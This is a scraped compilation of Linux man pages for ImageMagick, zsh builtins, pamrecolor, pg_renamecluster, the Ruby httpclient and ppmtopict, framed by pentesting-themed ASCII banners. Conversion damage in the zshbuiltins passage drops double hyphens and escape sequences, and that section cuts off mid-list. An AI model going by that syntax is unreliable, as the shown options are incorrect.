Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and B'e]zier curves.

The functionality of ImageMagick is typically utilized from the command-line or you can use the features from programs written in your favorite language. Choose from these interfaces: G2F (Ada), MagickCore (C), MagickWand (C), ChMagick (Ch), ImageMagickObject (COM+), Magick++ (C++), JMagick (Java), JuliaIO (Julia), L-Magick (Lisp), Lua (LuaJIT), NMagick (Neko/haXe), Magick.NET (.NET), PascalMagick (Pascal), PerlMagick (Perl), MagickWand for PHP (PHP), IMagick (PHP), PythonMagick (Python), magick (R), RMagick (Ruby), or TclMagick (Tcl/TK). With a language interface, use ImageMagick to modify or create images dynamically and automagically.

ImageMagick utilizes multiple computational threads to increase performance and can read, process, or write mega-, giga-, or tera-pixel image sizes.

ImageMagick is free software delivered as a ready-to-run binary distribution or as source code that you may use, copy, modify, and distribute in both open and proprietary applications. It is distributed under a derived Apache 2.0 license.

The ImageMagick development process ensures a stable API and ABI. Before each ImageMagick release, we perform a comprehensive security assessment that includes memory error, thread data race detection, and continuous fuzzing to help prevent security vulnerabilities.

The current release is ImageMagick 6.9.10-11. It runs on Linux, Windows, Mac Os X, iOS, Android OS, and others.

The authoritative ImageMagick version 6 web site is https://legacy.imagemagick.org. The authoritative source code repository is https://github.com/ImageMagick/ImageMagick6. We maintain a source code mirror at https://gitlab.com/ImageMagick/ImageMagick6.

The design of ImageMagick is an evolutionary process, with the design and implementation efforts serving to influence and guide further progress in the other. With ImageMagick version 7 we aim to improve the design based on lessons learned from the version 6 implementation.

In the paragraphs below, find a short description for each command-line tool.Cl ick on the program name to get details on the program usage and a list of comman d-line options that alters how the program performs. If you are just getting acq uainted with ImageMagick, start at the top of the list, the convert program, and work your way down. Also be sure to peruse Anthony Thyssen’s tutorial on how to use ImageMagick utilities to convert, compose, or edit images from the command- line.

convert
convert between image formats as well as resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more.

identify
describes the format and characteristics of one or more image files.

mogrify
resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. Mogrify overwrites the original image file, whereas, convert writes to a different image file.

composite
overlaps one image over another.

montage
create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.

compare
mathematically and visually annotate the difference between an image and its reconstruction..

stream
is a lightweight tool to stream one or more pixel components of the image or portion of the image to your choice of storage formats. It writes the pixel components as they are read from the input image a row at a time making stream desirable when working with large images or when you require raw pixel components.

display
displays an image or image sequence on any X server.

animate
animates an image sequence on any X server.

import
saves any visible window on an X server and outputs it as an image file. You can capture a single window, the entire screen, or any rectangular portion of the screen.

conjure
interprets and executes scripts written in the Magick Scripting Language (MSL).

For more information about the ImageMagick, point your browser to file:///usr/share/doc/imagemagick-6-common/html/index.html (on debian system you may install the imagemagick-6 package) or https://imagemagick.org/.

SEE ALSO

convert-im6.q16(1), identify-im6.q16(1), composite-im6.q16(1), montage-im6.q16(1), compare-im6.q16(1), display-im6.q16(1), animate-im6.q16(1), import-im6.q16(1), conjure-im6.q16(1), quantize(5), miff(4)

COPYRIGHT

Copyright (C) 1999 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

672 - Linux cli command zshbuiltins

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshbuiltins and provides detailed information about the command zshbuiltins, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshbuiltins.

NAME 🖥️ zshbuiltins 🖥️

zsh built-in commands

SHELL BUILTIN COMMANDS

Some shell builtin commands take options as described in individual entries; these are often referred to in the list below as `flags’ to avoid confusion with shell options, which may also have an effect on the behaviour of builtin commands. In this introductory section, `option’ always has the meaning of an option to a command that should be familiar to most command line users.

Typically, options are single letters preceded by a hyphen (-). Options that take an argument accept it either immediately following the option letter or after white space, for example `print -C3 {1..9}’ or `print -C 3 {1..9}’ are equivalent. Arguments to options are not the same as arguments to the command; the documentation indicates which is which. Options that do not take an argument may be combined in a single word, for example `print -rca – *’ and `print -r -c -a – *’ are equivalent.

Some shell builtin commands also take options that begin with `+’ instead of `-’. The list below makes clear which commands these are.

Options (together with their individual arguments, if any) must appear in a group before any non-option arguments; once the first non-option argument has been found, option processing is terminated.

All builtin commands other than `echo’ and precommand modifiers, even those that have no options, can be given the argument `’ to terminate option processing. This indicates that the following words are non-option arguments, but is otherwise ignored. This is useful in cases where arguments to the command may begin with `-’. For historical reasons, most builtin commands (including `echo’) also recognize a single `-’ in a separate word for this purpose; note that this is less standard and use of `’ is recommended.

- simple command See the section `Precommand Modifiers’ in zshmisc(1).

. file [ arg … ]
Read commands from file and execute them in the current shell environment.

If file does not contain a slash, or if PATH_DIRS is set, the shell looks in the components of $path to find the directory containing file. Files in the current directory are not read unless `.’ appears somewhere in $path. If a file named `file**.zwc**’ is found, is newer than file, and is the compiled form (created with the zcompile builtin) of file, then commands are read from that file instead of file.

If any arguments arg are given, they become the positional parameters; the old positional parameters are restored when the file is done executing. However, if no arguments are given, the positional parameters remain those of the calling context, and no restoring is done.

If file was not found the return status is 127; if file was found but contained a syntax error the return status is 126; else the return status is the exit status of the last command executed.

: [ arg … ]
This command does nothing, although normal argument expansions is performed which may have effects on shell parameters. A zero exit status is returned.

alias [ {+|-}gmrsL ] [ name[**=**value] … ]
For each name with a corresponding value, define an alias with that value. A trailing space in value causes the next word to be checked for alias expansion. If the -g flag is present, define a global alias; global aliases are expanded even if they do not occur in command position:

% perldoc –help 2>&1 | grep ‘built-in functions’ -f Search Perl built-in functions % alias -g HG=’–help 2>&1 | grep' % perldoc HG ‘built-in functions’ -f Search Perl built-in functions

If the -s flag is present, define a suffix alias: if the command word on a command line is in the form `text**.name’, where text is any non-empty string, it is replaced by the text `value text.**name’. Note that name is treated as a literal string, not a pattern. A trailing space in value is not special in this case. For example,

alias -s ps=‘gv –’

will cause the command `*.ps’ to be expanded to `gv – *.ps’. As alias expansion is carried out earlier than globbing, the `*.ps’ will then be expanded. Suffix aliases constitute a different name space from other aliases (so in the above example it is still possible to create an alias for the command ps) and the two sets are never listed together.

For each name with no value, print the value of name, if any. With no arguments, print all currently defined aliases other than suffix aliases. If the -m flag is given the arguments are taken as patterns (they should be quoted to preserve them from being interpreted as glob patterns), and the aliases matching these patterns are printed. When printing aliases and one of the -g, -r or -s flags is present, restrict the printing to global, regular or suffix aliases, respectively; a regular alias is one which is neither a global nor a suffix alias. Using `+’ instead of `-’, or ending the option list with a single `+’, prevents the values of the aliases from being printed.

If the -L flag is present, then print each alias in a manner suitable for putting in a startup script. The exit status is nonzero if a name (with no value) is given for which no alias has been defined.

For more on aliases, include common problems, see the section ALIASING in zshmisc(1).

autoload [ {+|-}RTUXdkmrtWz ] [ -w ] [ name … ]
See the section `Autoloading Functions’ in zshmisc(1) for full details. The fpath parameter will be searched to find the function definition when the function is first referenced.

If name consists of an absolute path, the function is defined to load from the file given (searching as usual for dump files in the given location). The name of the function is the basename (non-directory part) of the file. It is normally an error if the function is not found in the given location; however, if the option -d is given, searching for the function defaults to $fpath. If a function is loaded by absolute path, any functions loaded from it that are marked for autoload without an absolute path have the load path of the parent function temporarily prepended to $fpath.

If the option -r or -R is given, the function is searched for immediately and the location is recorded internally for use when the function is executed; a relative path is expanded using the value of $PWD. This protects against a change to $fpath after the call to autoload. With -r, if the function is not found, it is silently left unresolved until execution; with -R, an error message is printed and command processing aborted immediately the search fails, i.e. at the autoload command rather than at function execution..

The flag -X may be used only inside a shell function. It causes the calling function to be marked for autoloading and then immediately loaded and executed, with the current array of positional parameters as arguments. This replaces the previous definition of the function. If no function definition is found, an error is printed and the function remains undefined and marked for autoloading. If an argument is given, it is used as a directory (i.e. it does not include the name of the function) in which the function is to be found; this may be combined with the -d option to allow the function search to default to $fpath if it is not in the given location.

The flag +X attempts to load each name as an autoloaded function, but does not execute it. The exit status is zero (success) if the function was not previously defined and a definition for it was found. This does not replace any existing definition of the function. The exit status is nonzero (failure) if the function was already defined or when no definition was found. In the latter case the function remains undefined and marked for autoloading. If ksh-style autoloading is enabled, the function created will contain the contents of the file plus a call to the function itself appended to it, thus giving normal ksh autoloading behaviour on the first call to the function. If the -m flag is also given each name is treated as a pattern and all functions already marked for autoload that match the pattern are loaded.

With the -t flag, turn on execution tracing; with -T, turn on execution tracing only for the current function, turning it off on entry to any called functions that do not also have tracing enabled.

With the -U flag, alias expansion is suppressed when the function is loaded.

With the -w flag, the names are taken as names of files compiled with the zcompile builtin, and all functions defined in them are marked for autoloading.

The flags -z and -k mark the function to be autoloaded using the zsh or ksh style, as if the option KSH_AUTOLOAD were unset or were set, respectively. The flags override the setting of the option at the time the function is loaded.

Note that the autoload command makes no attempt to ensure the shell options set during the loading or execution of the file have any particular value. For this, the emulate command can be used:

emulate zsh -c ‘autoload -Uz func’

arranges that when func is loaded the shell is in native zsh emulation, and this emulation is also applied when func is run.

Some of the functions of autoload are also provided by functions -u or functions -U*, but* autoload is a more comprehensive interface.

bg [ job … ]

job … & Put each specified job in the background, or the current job if none is specified.

bindkey
See the section `Zle Builtins’ in zshzle(1).

break [ n ]
Exit from an enclosing for*,* while*,* until*,* select or repeat loop. If an arithmetic expression n is specified, then break n levels instead of just one.

builtin name [ args … ]
Executes the builtin name, with the given args.

bye
Same as exit*.*

cap
See the section `The zsh/cap Module’ in zshmodules(1).

cd [ -qsLP ] [ arg ]

cd [ -qsLP ] old new

cd [ -qsLP ] {+|-}n Change the current directory. In the first form, change the current directory to arg, or to the value of $HOME if arg is not specified. If arg is `-’, change to the previous directory.

Otherwise, if arg begins with a slash, attempt to change to the directory given by arg.

If arg does not begin with a slash, the behaviour depends on whether the current directory `.’ occurs in the list of directories contained in the shell parameter cdpath*. If it does not, first attempt to change* to the directory arg under the current directory, and if that fails but cdpath is set and contains at least one element attempt to change to the directory arg under each component of cdpath in turn until successful. If `.’ occurs in cdpath*, then* cdpath is searched strictly in order so that `.’ is only tried at the appropriate point.

The order of testing cdpath is modified if the option POSIX_CD is set, as described in the documentation for the option.

If no directory is found, the option CDABLE_VARS is set, and a parameter named arg exists whose value begins with a slash, treat its value as the directory. In that case, the parameter is added to the named directory hash table.

The second form of cd substitutes the string new for the string old in the name of the current directory, and tries to change to this new directory.

The third form of cd extracts an entry from the directory stack, and changes to that directory. An argument of the form `+n’ identifies a stack entry by counting from the left of the list shown by the dirs command, starting with zero. An argument of the form `-n’ counts from the right. If the PUSHD_MINUS option is set, the meanings of `+ and `-’ in this context are swapped. If the POSIX_CD option is set, this form of cd is not recognised and will be interpreted as the first form.

If the -q (quiet) option is specified, the hook function chpwd and the functions in the array chpwd_functions are not called. This is useful for calls to cd that do not change the environment seen by an interactive user.

If the -s option is specified, cd refuses to change the current directory if the given pathname contains symlinks. If the -P option is given or the CHASE_LINKS option is set, symbolic links are resolved to their true values. If the -L option is given symbolic links are retained in the directory (and not resolved) regardless of the state of the CHASE_LINKS option.

chdir
Same as cd*.*

clone
See the section `The zsh/clone Module’ in zshmodules(1).

command [ -pvV ] simple command
The simple command argument is taken as an external command instead of a function or builtin and is executed. If the POSIX_BUILTINS option is set, builtins will also be executed but certain special properties of them are suppressed. The -p flag causes a default path to be searched instead of that in $path*. With the* -v flag, command is similar to whence and with -V*, it is equivalent to* whence -v*.*

See also the section `Precommand Modifiers’ in zshmisc(1).

comparguments
See the section `The zsh/computil Module’ in zshmodules(1).

compcall
See the section `The zsh/compctl Module’ in zshmodules(1).

compctl
See the section `The zsh/compctl Module’ in zshmodules(1).

compdescribe
See the section `The zsh/computil Module’ in zshmodules(1).

compfiles
See the section `The zsh/computil Module’ in zshmodules(1).

compgroups
See the section `The zsh/computil Module’ in zshmodules(1).

compquote
See the section `The zsh/computil Module’ in zshmodules(1).

comptags
See the section `The zsh/computil Module’ in zshmodules(1).

comptry
See the section `The zsh/computil Module’ in zshmodules(1).

compvalues
See the section `The zsh/computil Module’ in zshmodules(1).

continue [ n ]
Resume the next iteration of the enclosing for*,* while*,* until*,* select or repeat loop. If an arithmetic expression n is specified, break out of n-1 loops and resume at the nth enclosing loop.

declare
Same as typeset*.*

dirs [ -c ] [ arg … ]

dirs [ -lpv ] With no arguments, print the contents of the directory stack. Directories are added to this stack with the pushd command, and removed with the cd or popd commands. If arguments are specified, load them onto the directory stack, replacing anything that was there, and push the current directory onto the stack.

-c clear the directory stack.

-l
print directory names in full instead of using of using ~ expressions (see Dynamic and Static named directories in zshexpn(1)).

-p
print directory entries one per line.

-v
number the directories in the stack when printing.

disable [ -afmprs ] name …
Temporarily disable the named hash table elements or patterns. The default is to disable builtin commands. This allows you to use an external command with the same name as a builtin command. The -a option causes disable to act on regular or global aliases. The -s option causes disable to act on suffix aliases. The -f option causes disable to act on shell functions. The -r options causes disable to act on reserved words. Without arguments all disabled hash table elements from the corresponding hash table are printed. With the -m flag the arguments are taken as patterns (which should be quoted to prevent them from undergoing filename expansion), and all hash table elements from the corresponding hash table matching these patterns are disabled. Disabled objects can be enabled with the enable command.

With the option -p*, name … refer to elements of the* shell’s pattern syntax as described in the section `Filename Generation’. Certain elements can be disabled separately, as given below.

Note that patterns not allowed by the current settings for the options EXTENDED_GLOB*,* KSH_GLOB and SH_GLOB are never enabled, regardless of the setting here. For example, if EXTENDED_GLOB is not active, the pattern ^ is ineffective even if `disable -p “^”’ has not been issued. The list below indicates any option settings that restrict the use of the pattern. It should be noted that setting SH_GLOB has a wider effect than merely disabling patterns as certain expressions, in particular those involving parentheses, are parsed differently.

The following patterns may be disabled; all the strings need quoting on the command line to prevent them from being interpreted immediately as patterns and the patterns are shown below in single quotes as a reminder.

’?’ The pattern character ? wherever it occurs, including when preceding a parenthesis with KSH_GLOB*.*

’*’
The pattern character * wherever it occurs, including recursive globbing and when preceding a parenthesis with KSH_GLOB*.*

’[’
Character classes.

’<’ (NO_SH_GLOB)
Numeric ranges.

’|’ (NO_SH_GLOB)
Alternation in grouped patterns, case statements, or KSH_GLOB parenthesised expressions.

’(’ (NO_SH_GLOB)
Grouping using single parentheses. Disabling this does not disable the use of parentheses for KSH_GLOB where they are introduced by a special character, nor for glob qualifiers (use `setopt NO_BARE_GLOB_QUAL*’ to disable glob qualifiers that use parentheses* only).

’~’ (EXTENDED_GLOB)
Exclusion in the form A**~**B.

’^’ (EXTENDED_GLOB)
Exclusion in the form A**^**B.

’#’ (EXTENDED_GLOB)
The pattern character # wherever it occurs, both for repetition of a previous pattern and for indicating globbing flags.

’?(’ (KSH_GLOB)
The grouping form ?(). Note this is also disabled if ’?’ is disabled.

’*(’ (KSH_GLOB)
The grouping form *(). Note this is also disabled if ’*’ is disabled.

’+(’ (KSH_GLOB)
The grouping form +().

’!(’ (KSH_GLOB)
The grouping form !().

’@(’ (KSH_GLOB)
The grouping form @().

disown [ job … ]

job … &|

job … &! Remove the specified jobs from the job table; the shell will no longer report their status, and will not complain if you try to exit an interactive shell with them running or stopped. If no job is specified, disown the current job.

If the jobs are currently stopped and the AUTO_CONTINUE option is not set, a warning is printed containing information about how to make them running after they have been disowned. If one of the latter two forms is used, the jobs will automatically be made running, independent of the setting of the AUTO_CONTINUE option.

echo [ -neE ] [ arg … ]
Write each arg on the standard output, with a space separating each one. If the -n flag is not present, print a newline at the end. echo recognizes the following escape sequences:


bell character


backspace

**

673 - Linux cli command pamrecolor

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamrecolor and provides detailed information about the command pamrecolor, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamrecolor.

.

NAME 🖥️ pamrecolor 🖥️

alter colors without affecting luminance

SYNOPSIS

pamrecolor [–colorspace=name] [–rmult=fraction] [–gmult=fraction] [–bmult=fraction] [–targetcolor=color] [–colorfile=file] [**-randomseed=**integer]

[infile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamrecolor changes an image’s colors to be as close as possible to given target colors but with the constraint that the luminance not be modified. That is, the original image and the target image will look identical if both are converted to grayscale (e.g. with ppmtopgm(1) ). You can have pamrecolor select target colors randomly, specify a single hue for the entire image, or take the target colors from a target image.

In addition to real Netpbm images, pamrecolor works on pseudo-Netpbm images based on arbitrary color spaces. You can define the color space explicitly or choose one of many that pamrecolor knows by name.

The output is a PAM image on standard output. Options control the exact format of the PAM. If you want a PNM (PBM, PGM, or PPM) image, use pamtopnm(1) on the output. There is no need to convert if you will use the image as input to a current Netpbm program, but many other programs don’t know what a PAM is.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamrecolor recognizes the following command line options:

–colorspace=name
Designate the color space to use for determining the contribution to luminance of each of the red, green, and blue color channels. For example, in the SMPTE-C color space an RGB color is converted to grayscale by multiplying the red channel by 0.2124132, the green channel by 0.7010437, and the blue channel by 0.0865432 and summing the resulting three products.

When you use this option, the input and output images are not true Netpbm images, because the Netpbm image format specifies a particular color space. Instead, you are using a variation on the format in which the sample values in the raster have different meaning. Many programs that ostensibly use Netpbm images actually use a variation with a different color space. For example, GIMP uses sRGB internally and if you have GIMP generate a Netpbm image file, it really generates a variation of the format that uses sRGB.

pamrecolor knows the following color spaces (name values):

adobe
Adobe RGB (1998) with a D65 reference white

apple
Apple RGB with a D65 reference white

cie
CIE with an Illuminant E reference white

ntsc
NTSC RGB with an Illuminant C reference white

pal
PAL/SECAM with a D65 reference white

smpte-c
SMPTE-C with a D65 reference white

srgb
sRGB with a D65 reference white

wide
Wide-gamut RGB with a D50 reference white

The default is “ntsc” because this is the color space that the Netpbm formats and many graphics utilities use. As a counterexample, GIMP uses sRGB as its native color space.

The luminance values pamrecolor uses for each of the above come from Bruce Lindbloom’s " Computing RGB-to-XYZ and XYZ-to-RGB matrices" (1) page.

–rmult=fraction
–gmult=fraction
–bmult=fraction
Instead of selecting a color space by name, you can specify explicitly the contribution of each color channel to the overall luminance as red, green, and blue multipliers. These three options must be used together, and the three fraction values must sum to 1.0. For example, you can specify the ProPhoto (ROMM) RGB color space with “–rmult=0.2880402 –gmult=0.7118741 –bmult=0.0000857”.

–targetcolor=color
Designate color as the target color for the image. pamrecolor will make each pixel as close as possible to color subject to the constraint that the luminance must stay the same as in the original image. Specify color as in the argument of the pnm_parsecolor() library routine (e.g., “hotpink” or “#ff69b4”).

If you specify neither –targetcolor nor –colorfile, pamrecolor will randomly select a target color for each pixel of the input image.

You may not specify both -targetcolor and -colorfile.

–colorfile=file
Take per-pixel target colors from Netpbm file file instead of using a single target color for the entire image. file should be a PPM or color PAM image. If the image in the file wider or taller than the input image, pamrecolor uses only the left and top part of it. If the image is narrower or shorter, pamrecolor considers the image to be repeated in a tile pattern.

If you specify neither –targetcolor nor –colorfile, pamrecolor will randomly select a target color for each pixel of the input image.

You may not specify both -targetcolor and -colorfile.

**-randomseed=**integer
This is the seed for the random number generator that generates the pixels.

Use this to ensure you get the same image on separate invocations.

By default, pamrecolor uses a seed derived from the time of day and process ID, which gives you fairly uncorrelated results in multiple invocations.

This option was new in Netpbm 10.61 (December 2012).

EXAMPLES

This command tints an image yellow:

    pamrecolor --targetcolor=yellow colorpic.pam > yellowpic.pam

This command takes the colors from colorpicture.ppm and applies them to graypicture.pgm:

    pamrecolor --colorfile=colorpic.ppm graypic.pgm > colorizedpic.pam

The grayscale version of colorizedpic.pam will look just like graypic.pgm. Note that if you use a non-Netpbm tool to do the conversion to grayscale, you may additionally need to specify an appropriate –colorspace value for your conversion tool.

NOTES

Here are a couple of fun special effects you can produce with pamrecolor:

  • Specify a color file that is identical to the input image but with some large, colored text added to it. The text will “magically” vanish when the image is converted to grayscale.

  • Provide a low-contrast grayscale image - perhaps a secret message written in similar shades of gray - as the input file and a colorful but completely different image as the color file. If done carefully, the grayscale image can be hidden by the colorful image. Only people who know to convert the result to grayscale can recover the original grayscale image.

  • Use –targetcolor=tan to make an image look like an old-timey photograph (or, more precisely, a sepia-toned photograph of the late 1800s).

HISTORY

Scott Pakin wrote pamrecolor in July 2010.

pamrecolor was new in Netpbm 10.52 (September 2010).

AUTHOR

Copyright (C) 2010 Scott Pakin, [email protected]

SEE ALSO

  • ppmtopgm(1)

  • ppmchange(1)

  • pnmremap(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamrecolor.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

674 - Linux cli command pg_renamecluster

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_renamecluster and provides detailed information about the command pg_renamecluster, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_renamecluster.

NAME 🖥️ pg_renamecluster 🖥️

rename a PostgreSQL cluster

SYNOPSIS

pg_renamecluster version oldname newname

DESCRIPTION

pg_renamecluster changes the name of a PostgreSQL cluster, i. e. the name of the config directory in /etc/postgresql/version/ along with the data directory in /var/lib/postgresql/version/. Existing log files in /var/log/postgresql/ are also renamed. The cluster is stopped and started for the operation.

The following postgresql.conf config options are updated to refer to the changed path names: data_directory, hba_file, ident_file, external_pid_file, stats_temp_directory, cluster_name.

OPTIONS

None.

SEE ALSO

pg_createcluster (8), pg_dropcluster (8), pg_lsclusters (1), pg_wrapper (1)

AUTHOR

Christoph Berg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

675 - Linux cli command httpclient

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command httpclient and provides detailed information about the command httpclient, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the httpclient.

NAME 🖥️ httpclient 🖥️

Shell command for performing HTTP requests using Ruby httpclient

SYNOPSIS

httpclient <method> <uri> [params]
httpclient

DESCRIPTION

This program is an example/companion to the Ruby httpclient module, but can be used as a complete standalone HTTP client.

If invoked with a method and an URI, the specified URI will be requested via the method given from its server. The allowed methods are head, get, post, put, delete, options, propfind, proppatch and trace.

Parameters can be specified as a third parameter and will be delivered accordingly (i.e. appended to the URI after a ? sign if the method is get, but as the posted body if the method is post)

Please note that no checks are done as to whether the requested parameters make sense in the context they are specified, they are just sent as-is.

$ httpclient get https://www.google.co.jp/ q=ruby

Starting from version 2.6.0 httpclient supports command download.

$ httpclient download http://host/path > file

If no parameters are specified, an interactive Ruby (irb) session will be opened, binding an HTTPClient object as ‘self’. You can then call HTTPClient instance methods like:

$ httpclient
>> get “https://www.google.co.jp/", :q => :ruby

Httpclient will print the `wiredump’ of your request (that is, the commands sent to the server via HTTP), then the request’s headers, and finally the result.

OPTIONS

AUTHOR

Gunnar Wolf <[email protected]>

NOTES

This manual page was written by Gunnar Wolf <[email protected]> for the Debian project, but can be freely used by others.

This is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

676 - Linux cli command ppmtopict

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtopict and provides detailed information about the command ppmtopict, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtopict.

.

NAME 🖥️ ppmtopict 🖥️

convert a PPM image to a Macintosh PICT file

SYNOPSIS

ppmtopict

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtopict reads a PPM image as input and produces a Macintosh PICT file as output.

The generated file is only the data fork of a picture. You will need a program such as mcvert to generate a Macbinary or a BinHex file that contains the necessary information to identify the file as a PICT file to MacOS.

Even though PICT can have 2 and 4 bits per pixel, ppmtopict always generates an 8 bits per pixel file.

OPTIONS

There are no command line options defined specifically for ppmtopict, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

LIMITATIONS

The picture size field is correct only if the output is to a file since writing into this field requires seeking backwards on a file. However the PICT documentation seems to suggest that this field is not critical anyway since it is only the lower 16 bits of the picture size.

SEE ALSO

picttoppm(1) , ppm(1) , mcvert

AUTHOR

Copyright (C) 1990 by Ken Yap <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtopict.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

